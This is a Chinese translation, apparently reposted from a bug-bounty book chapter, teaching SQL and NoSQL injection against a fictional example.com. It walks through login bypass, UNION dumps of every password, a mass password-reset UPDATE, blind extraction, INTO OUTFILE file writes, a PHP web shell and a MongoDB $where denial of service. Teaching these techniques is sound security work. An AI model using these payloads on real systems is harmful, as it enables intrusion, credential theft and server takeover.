51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

手把手教你学会sql注入

本文由鱼丸大人翻译《Bug Bounty Bootcamp The Guide to Finding and Reporting Web Vulnerabilities》 by Vickie Li,如果侵权还请及时联系。

请点击文末#Bug Bounty Bootcamp标签查看合集或关注公众号点击底部【漏洞书籍】子菜单,如果对您有帮助还请点赞、在看、评论、转发、关注、打赏哦,您的互动就是我更新最大的动力

本文目录结构如下:


SQL是一种用于查询或修改存储在数据库中的信息的编程语言。

SQL注入是一种攻击,攻击者通过提供插入到SQL语句中的恶意输入,对应用程序的数据库执行任意的SQL命令。

当SQL查询中使用的输入被错误地过滤或转义时,就会发生这种情况,并可能导致绕过身份验证、敏感数据泄漏、数据库篡改,在某些情况下导致RCE。

SQL注入的数目正在下降,因为大多数web框架现在都有内置的机制来保护它们。但它们仍然很常见。如果你能找到一个,它们往往是导致高收益的关键漏洞,所以当你第一次开始寻找一个目标上的漏洞时,寻找它们仍然是值得的。

在本章中,我们将讨论如何进行寻找和利用两种类型的SQL注入:经典SQL注入和盲SQL注入。我们还将讨论NoSQL数据库中的注入,NoSQL是不使用SQL查询语言的数据库。

请注意,本章中使用的示例都是基于MySQL语法的。sql注入代码在其它数据库类型中将略有不同,但总体原则保持一致。

哪里会出现sql注入:任何接受用户输入的应用程序的端点


作用机制

要理解SQL注入,让我们从了解SQL是什么开始。结构化查询语言(SQL)是一种用于管理数据库和与数据库进行通信的语言。传统上,数据库包含表、行、列和字段。

行和列包含存储在单个字段中的数据。假设一个web应用程序的数据库包含一个名为Users的表。此表包含三列:ID、Username和Password。它还包含三行数据,每行数据存储不同用户的认证信息。

SQL查询语言可以帮助您与存储在数据库中的数据进行高效地交互。例如,可以使用SQL SELECT语句从数据库中检索数据。下面的查询将从数据库中返回的整个Users表: *

SELECT * FROM Users;

此查询将返回Users表中的所有Username: *

SELECT Username FROM Users;

最后,这个查询将返回用户名是admin的所有用户: *

SELECT * FROM Users WHERE Username='admin';

有很多的方法可以构造与数据库交互的SQL查询语句。您可以在 *

https://www.w3schools.com/sql/default.asp

的W3Schools了解更多关于SQL语法的信息。


将代码注入到SQL查询中


万能密码

当攻击者能够将代码注入到目标网站用来访问它的数据库的SQL语句中,从而执行攻击者希望执行的任何SQL代码时,就会发生SQL注入攻击。

例如,假设一个网站提示用户输入用户名和密码,然后将用户名和密码插入到SQL查询中以登录用户。从用户提供的以下POST请求参数将用于填入SQL查询: * * * * *

POST /loginHost: example.com
(POST请求体)username=vickie&password=password123

此SQL查询将找到与POST请求中提供的用户名和密码相匹配的用户的ID。然后,该应用程序将登录到该用户的帐户: * *

SELECT Id FROM UsersWHERE Username='vickie' AND Password='password123';

那么这里有什么问题呢?因为用户不能预测其他人的密码,所以他们就没有办法登陆进其它用户,对吧?

问题是,攻击者可以插入SQL语言中特殊的字符来打乱查询的逻辑。例如,如果攻击者提交了以下POST请求: * * * * *

POST /loginHost: example.com
(POST请求体)username="admin';-- "&password=password123

生成的SQL查询将变成这样的: * *

SELECT Id FROM UsersWHERE Username='admin';-- ' AND Password='password123';

--空格序列表示SQL注释的开始,它不会被解释为代码,因此通过将--添加到查询的Username部分,攻击者有效地注释掉了SQL查询的其余部分。查询变为: *

SELECT Id FROM Users WHERE Username='admin';

此查询将返回管理员用户的ID,而不管攻击者提供的密码如何。通过在SQL查询中注入特殊字符,攻击者绕过了身份验证,可以在不知道正确密码的情况下以管理员身份登录!


union越权检索数据

绕过身份验证并不是攻击者可以通过SQL注入实现的唯一目标。攻击者也可以检索到不被允许访问的数据。假设一个网站允许用户通过向服务器提供用户名和访问密钥来证明他们的身份,进而访问他们的电子邮件列表: * *

GET /emails?username=vickie&accesskey=ZB6w0YLjzvAVmp6zvrHost: example.com

此GET请求可能会使用以下SQL语句生成对数据库的查询: * *

SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr';

在这种情况下,攻击者可以使用SQL查询从其它他们不能读取的表中读取数据。例如,想象一下他们向服务器发送了如下HTTP请求: * * *

GET /emails?username=vickie&accesskey="ZB6w0YLjzvAVmp6zvr' 【1】 UNION SELECT Username, Password FROM Users;-- "Host: example.com

服务器将把原始的SQL查询变成下面的: * * *

【1】 SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'【2】 UNION 【3】SELECT Username, Password FROM Users;【4】-- ;

SQL UNION 【2】运算符组合了两个不同的select语句的结果。因此,此查询将的第一个select语句:返回用户电子邮件【1】和第二个select语句【3】:如前所述,返回用户表中的所有用户名和密码,的结果相结合。现在攻击者可以在HTTP响应中读取所有用户的用户名和密码了!(注意,许多SQL注入payload会注释注入点【4】之后的内容,以防止查询的其余部分打乱查询的语法或逻辑。)


Update注入

SQL注入也不局限于select语句。攻击者还可以将代码注入到语句中,如update(用于更新记录)、delete(用于删除现有记录)和insert(用于在表中创建新条目)。

例如,假设这是用于更新目标网站上的用户密码的HTTP POST请求: * * * *

POST /change_passwordHost: example.com
new_password=password12345

该网站将使用您的新密码和当前登录用户的ID构成一个update查询。此查询将更新Users表中ID字段为2的行,并将其密码设置为 password12345: * * *

UPDATE UsersSET Password='password12345'WHERE Id = 2;

在这种情况下,攻击者可以控制语句的SET子句,该子句用于指定表中应更新哪些行。攻击者可以构造一个像这样的POST请求: * * * *

POST /change_passwordHost: example.com
new_password="password12345';--"

此请求将生成以下SQL查询: * *

UPDATE UsersSET Password='password12345';-- WHERE Id = 2;

指定应该更新哪些行的准则的WHERE子句,在此查询中被注释掉。该数据库将更新表中的所有行,并将Users表中的所有密码更改为password12345。攻击者现在可以使用该密码以任何人的身份登录。


使用二阶SQL注入

到目前为止,我们讨论过的SQL注入都是一阶SQL注入。当应用程序在SQL查询中直接使用用户提交的输入时,就会发生一阶SQL注入。

另一方面,当用户输入被存储到数据库中,然后在SQL查询中不安全地使用和检索时,就会发生二阶SQL注入。即使应用程序正确处理用户提交的输入,如果应用程序在从数据库中检索数据时错误地将数据视为安全的,也会出现这些漏洞。

例如,考虑一个允许用户通过指定用户名和密码来创建帐户的web应用程序。假设一个恶意的用户提交了以下请求: * * * * *

POST /signupHost: example.com
username="vickie' UNION SELECT Username, Password FROM Users;-- "&password=password123

此请求将用户名 vickie' UNION SELECT Username, Password FROM Users;-- 和密码 password123提交到/signup端点。用户名POST请求参数包含一个SQL注入有效负载,这将select所有的用户名和密码,并将它们连接到数据库查询的结果中。

应用程序在提交时正确地处理用户输入,使用我将在下一节中讨论的保护技术。

字符串vickie' UNION SELECT Username, Password FROM Users;-- 作为攻击者的用户名存储在应用程序的数据库中。

随后,恶意用户通过以下GET请求访问他们的电子邮件: * *

GET /emailsHost: example.com

在这种情况下,假设用户没有提供用户名和访问密钥,应用程序将从数据库中检索当前登录用户的用户名,并使用它来填充SQL查询: * *

SELECT Title, Body FROM EmailsWHERE Username='USERNAME'

但是攻击者的用户名中包含SQL代码,它将把SQL查询转换为以下查询: * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie'UNION SELECT Username, Password FROM Users;--

这将返回所有的用户名和密码作为电子邮件标题和正文在HTTP响应!


寻找SQL注入

让我们开始寻找SQL注入吧!在本章的前面,我提到过我们可以将SQL注入分类为一阶或二阶。但是还有另一种对SQL注入进行分类的方法,在利用它们时很有用:经典SQL注入和盲SQL,检测和利用的方法有所不同。

在我们深入研究每种类型之前,检测任何SQL注入的常见技术是在每个用户输入中插入单引号字符('),并查找错误或其他异常。单引号是SQL语句中的一个特殊字符,它表示查询字符串的结束。如果应用程序受到SQL注入的保护,那么它应该将单引号视为普通数据,并且在输入字段中插入单引号不应触发数据库错误或改变查询的逻辑。

另一种查找SQL注入的一般方法是fuzzing,它向应用程序提交专门设计的SQL注入payload并监视服务器的响应。我们将在第25章中讨论这个问题。

除此以外,您可以提交为目标数据库精心设计的payload,为了触发数据库不同的响应、如时间延迟或数据库错误。请记住,您正在寻找可以执行您注入的SQL代码的线索


步骤1:寻找经典SQL注入

经典的SQL注入是最容易找到和利用的。在经典的SQL注入中,SQL查询的结果在HTTP响应中直接返回给攻击者。

这里有两个子类型:基于union的和基于错误的。

我们前面的电子邮件示例是基于union的方法的一个例子:攻击者使用union操作符将另一个查询的结果连接到web应用程序的响应: * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'UNION SELECT Username, Password FROM Users;-- ;

在这种情况下,服务器返回所有用户名和密码和用户vickie的电子邮件在HTTP响应中。

另一方面,基于错误的SQL注入攻击会在数据库中触发一个错误,以从返回的错误消息中收集信息。

例如,我们可以通过在MySQL中使用转换 CONVERT() 函数来引起错误: * * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'UNION SELECT 1,CONVERT((SELECT Password FROM Users WHERE Username="admin"), DATE); ---

CONVERT(值,格式)函数试图将值转换为指定的格式。因此,此查询将迫使数据库将管理员的密码转换为日期格式,这有时会导致数据库抛出像这样的描述性错误: *

Conversion failed when trying to convert "t5dJ12rp$fMDEbSWz" to data type "date".

数据库抛出描述性错误来帮助开发人员准确定位问题,但如果错误消息也显示给常规用户,会意外地向外人透露信息。

在此示例中,数据库指出,它未能将字符串值"t5dJ12rp$fMDEbSWz"转换为日期格式。但是t5dJ12rp$fMDEbSWz是管理员帐户的密码!通过显示描述性错误信息,数据库意外地向外人透露了一条敏感信息。


步骤2:寻找盲SQL注入

也被称为推理SQL注入,盲SQL注入较难检测和利用。当应用程序不返回SQL数据或描述性错误消息,导致攻击者无法直接从数据库中提取信息时,就会发生这种情况。

在这种情况下,攻击者可以通过向服务器发送SQL注入有效负载并观察其后续行为来推断信息。盲SQL注入也有两个子类型:基于布尔值和基于时间。

当攻击者通过将test条件注入到将返回真或假的SQL查询中来推断数据库的结构时,就会发生基于布尔值的SQL注入。利用这些响应,攻击者可以慢慢地推断出数据库的内容。


布尔盲注

例如,假设example.com维护了一个单独的表来跟踪平台上的高级成员。

高级会员可以访问高级功能,他们的主页显示一个欢迎,高级会员!( Welcome, premium member! )横幅。

该网站通过使用包含用户ID的cookie,并将其与已注册的高级会员表进行匹配,来确定谁是高级会员。包含这样一个cookie的GET请求可能是这样的: * * *

GET /Host: example.comCookie: user_id=2

应用程序使用此请求生成以下SQL查询: *

SELECT * FROM PremiumUsers WHERE Id='2';

如果此查询返回数据,则用户是高级会员,"欢迎,高级会员!"横幅将会被显示出来。否则,该横幅将不会被显示。

假设你的账户id=2并不是高级成员。如果您提交这个用户ID,会发生什么? * * *

2' UNION SELECT Id FROM UsersWHERE Username = 'admin'and SUBSTR(Password, 1, 1) ='a';--

那么,这个查询将会变成以下内容: * * * *

SELECT * FROM PremiumUsers WHERE Id='2'UNION SELECT Id FROM UsersWHERE Username = 'admin'and 【1】SUBSTR(Password, 1, 1) = 'a';-- '

SUBSTR(字符串、位置、长度)函数从该字符串指定位置(字符串从索引1开始)提取一个指定长度的子字符串。因此,SUBSTR(Password, 1, 1)【1】返回每个用户密码的第一个字符。

由于用户2不是高级成员,这个查询是否返回数据将取决于第二个SELECT语句,如果admin帐户的密码以a开始,该语句将返回数据。

这意味着您可以爆破管理员的密码,如果您将此用户ID作为cookie提交,如果管理员帐户的密码以a开头,web应用程序将显示高级横幅。您可以用字母b、c等尝试这个查询,直到它工作。

您可以使用此技术从数据库中提取关键的信息片,如数据库版本、表名、列名和凭据。我在第201页的"升级攻击"中进一步谈论这个问题。


时间盲注

基于时间的SQL注入是类似的,但攻击者不是依赖于web应用程序中的可视线索,而是依赖于不同SQL注入有效负载引起的响应时间差异。

例如,如果前面示例中的注入点的查询结果没有返回任何可视化线索,可能会发生什么?

假设高级会员没有得到一个特别的横幅,他们的用户界面看起来也没有任何不同。那么,您将如何利用这个SQL注入呢?

在许多数据库中,您可以通过使用SQL查询来触发一个时间延迟。如果出现时间延迟,您将知道查询工作正确运行。请尝试在SQL查询中使用IF语句 * *

IF(CONDITION, IF-TRUE, IF-FALSE)IF(条件, 条件为真执行, 条件为假执行)

例如,假设您提交了以下ID: * * * *

2' UNION SELECTIF(SUBSTR(Password, 1, 1) = 'a', SLEEP(10), 0)Password FROM UsersWHERE Username = 'admin';

SQL查询将变成以下内容: * * * * *

SELECT * FROM PremiumUsers WHERE Id='2'UNION SELECTIF(SUBSTR(Password, 1, 1) = 'a', SLEEP(10), 0)Password FROM UsersWHERE Username = 'admin';

MySQL中的sleep(秒数)函数将在响应中创建一个指定的时间延迟。如果管理员的密码以a字符开始,此查询将指示数据库休眠10秒。使用这种技术,您可以慢慢地找到管理员的密码。


步骤3:使用SQL注入存储信息

假设您所攻击的web应用程序不会立即在SQL查询中使用您的输入。反而,它在后端操作期间不安全地在SQL查询中使用输入,因此您无法通过HTTP响应检索注入的结果,或者通过观察服务器行为来推断查询的结果。

有时,在你提交负载和不安全查询使用负载之间甚至有一个时间延迟,因此您无法立即观察应用程序行为的差异。

在这种情况下,您需要使数据库在某个地方存储信息,当运行不安全的SQL查询时。在MySQL中,SELECT. . .INTO语句告诉数据库将查询的结果存储在本地机器上的输出文件中。

例如,以下查询将导致数据库将管理员的密码写入/var/www/html/output.txt,一个位于目标服务器的web根目录上的文件: * *

SELECT Password FROM Users WHERE Username='admin'INTO OUTFILE '/var/www/html/output.txt'

我们上传到/var/www/html目录,因为它是许多Linux web服务器的默认web目录。然后你就可以简单地访问https:// example.com/output.txt页面来获得这些信息。

这种技术也是检测二阶SQL注入的一种好方法,因为在二阶SQL注入中,恶意输入和SQL查询被执行之间经常存在时间延迟。

让我们把这些信息放在上下文中。当您浏览example.com时,应用程序将您添加到数据库表中,以跟踪当前活动用户。

用cookie访问一个页面,就像这样 * * *

GET /Host: example.comCookie: user_id=2, username=vickie

将导致应用程序将您添加到活动用户表中。在本例中,ActiveUsers表只包含两列:一列是用户ID,另一列是登录用户的用户名。

该应用程序使用INSERT语句将您添加到ActiveUsers表中。INSERT语句使用指定的值在指定的表中添加一行: * *

INSERT INTO ActiveUsersVALUES ('2', 'vickie');

在这种情况下,攻击者可以创建一个恶意的cookie来注入到INSERT语句中: * * * * *

GET /Host: example.comCookie: 【1】user_id="2', (SELECT Password FROM UsersWHERE Username='admin'INTO OUTFILE '/var/www/html/output.txt'));-- ", username=vickie

这个cookie 【1】又会导致INSERT插入语句将管理员的密码保存到受害者服务器上的output.txt文件中: * * * *

INSERT INTO ActiveUsersVALUES ('2', (SELECT Password FROM UsersWHERE Username='admin'INTO OUTFILE '/var/www/html/output.txt'));-- ', 'vickie');

最后,您将在目标服务器上的output.txt文件中的找到管理帐户的密码。


步骤4:寻找NoSQL注入

数据库并不总是使用SQL。NoSQL,或者 Not Only SQL,数据库是那些不使用SQL语言的数据库。

与SQL数据库在表中存储数据不同,NoSQL数据库在其他结构中存储数据,如键值对和图。

NoSQL查询语法是特定于数据库的,查询通常用应用程序的编程语言编写。现代的NoSQL数据库,如MongoDB、Apache CouchDB和 Apache Cassandra,也很容易受到注入攻击。

随着NoSQL的普及,这些漏洞正变得越来越普遍。


MongoDB

以MongoDB为例。在MongoDB语法中, Users.find()返回满足特定条件的用户。例如,以下查询返回具有用户名vickie和密码password123的用户: *

Users.find({username: 'vickie', password: 'password123'});

如果应用程序使用此功能登录用户,并直接使用用户输入填充数据库查询时,如下所示: *

Users.find({username: $username, password: $password})

攻击者可以提交密码{$ne: ""}以以任何人的身份登录。例如,假设攻击者提交了一个admin的用户名和一个{$ne: ""}的密码。数据库查询就会如下: *

Users.find({username: 'admin', password: {$ne: ""}});

在MongoDB中,$ne将选择值不等于指定值的对象。在这里,查询将返回用户名是admin和密码不等于空字符串的用户,这将恒为正确的,除非管理员有一个空白的密码!

因此,攻击者可以绕过身份验证,并访问admin帐户。

注入MongoDB查询也可以允许攻击者在服务器上执行任意的JavaScript代码。在MongoDB中, $where, mapReduce, $accumulator,和$function操作符允许开发人员运行任意的JavaScript。

例如,您可以使用$where 定义一个函数去查找名为vickie的用户: * *

Users.find( { $where: function() { return (this.username == 'vickie') } } );

假设开发人员在此函数中允许未经验证的用户输入,并使用它来获取帐户数据,如下所示: * *

Users.find( { $where: function() { return (this.username == $user_input) } } );

在这种情况下,攻击者可以通过注入到$where操作符中来执行任意的JavaScript代码。例如,以下恶意代码将通过触发永远也不结束的while循环来发起拒绝服务(DoS)攻击: * *

Users.find( { $where: function() { return (this.username == 'vickie'; while(true){};) } } );

寻找NoSQL注入的过程类似于寻找SQL注入。您可以将特殊字符如引号(' ")、分号(;)、反斜杠(\)圆括号(())、方括号([])、花括号({})插入用户输入字段,并查找错误或其他异常。

您还可以通过使用NoSQLMap工具来自动执行搜索过程。 *

https://github.com/codingo/NoSQLMap/

升级攻击

攻击者通常使用SQL注入来从数据库中提取信息。成功地从SQL注入中收集数据是一项有时会很复杂的技术任务。

这里有一些技巧,你可以用来获取一个可被利用的目标的信息。


了解数据库

首先,获取数据库结构的信息是很有用的。请注意,我在本章中使用的许多有效负载都需要一些关于数据库的知识,比如表名称和字段名称。

首先,您需要确定数据库软件及其结构。尝试一些测试和错误SQL查询,以确定数据库版本。

每种类型的数据库都有不同的函数来返回它们的版本号,但是查询要看起来像这样: * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie'UNION SELECT 1, @@version;--

查询版本类型的一些常见命令如,Microsoft SQL Server和MySQL的@@version,PostgreSQL的 version()和Oracle的v$version。

1在UNION SELECT 1, DATABASE_VERSION_QUERY;-- 行是必需的,因为要使UNION语句工作,它所连接的两个选择语句需要具有相同数量的列数。

第一个1本质上是一个虚拟列名,你可以使用它去匹配列数。

一旦您知道了正在使用的数据库类型,您就可以开始进一步扩展它,看看它包含什么。MySQL中的这个查询将显示用户定义表的表名: * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie'UNION SELECT 1, table_name FROM information_schema.tables

这个查询将显示指定表的列名。在这种情况下,查询将列出Users表中的列: * * * *

SELECT Title, Body FROM EmailsWHERE Username='vickie'UNION SELECT 1, column_name FROM information_schema.columnsWHERE table_name = 'Users'

所有这些技术在经典和盲目攻击中都是可能的。您只需要找到一种不同的方法适配这些命令到您所构建的查询中。

例如,您可以使用时间盲注来确定数据库的版本:(这个只是作者举例实际操作时要保证列数匹配如union select 1,2,第二个SELECT语句只返回一个值(SLEEP(10)或0),这意味着它返回一列数据) * *

SELECT * FROM PremiumUsers WHERE Id='2'UNION SELECT IF(SUBSTR(@@version, 1, 1) = '1', SLEEP(10), 0); --

在您了解了数据库的结构之后,就开始针对某些表来拿到您感兴趣的数据。


获得Web shell

另一种升级SQL注入的方法是尝试在服务器上获得web shell。假设我们的目标是一个PHP应用程序。

下面的一段PHP代码将把名为cmd的请求参数值作为一个系统命令来执行: *

<? system($_REQUEST['cmd']); ?>

您可以使用SQL注入漏洞INTO OUTFILE查询将此PHP代码上传到您可以在服务器上访问的位置。 * * *

SELECT Password FROM Users WHERE Username='abc'UNION SELECT "<? system($_REQUEST['cmd']); ?>"INTO OUTFILE "/var/www/html/shell.php"

您实际上是在将PHP脚本上传到shell.php文件中。然后,您可以简单地访问您的shell.php文件,并执行任何您想要的命令: *

http://www.example.com/shell.php?cmd=COMMAND

自动化工具链接

https://github.com/sqlmapproject/sqlmap

https://github.com/codingo/NoSQLMap/


赞(1)
未经允许不得转载:工具盒子 » 手把手教你学会sql注入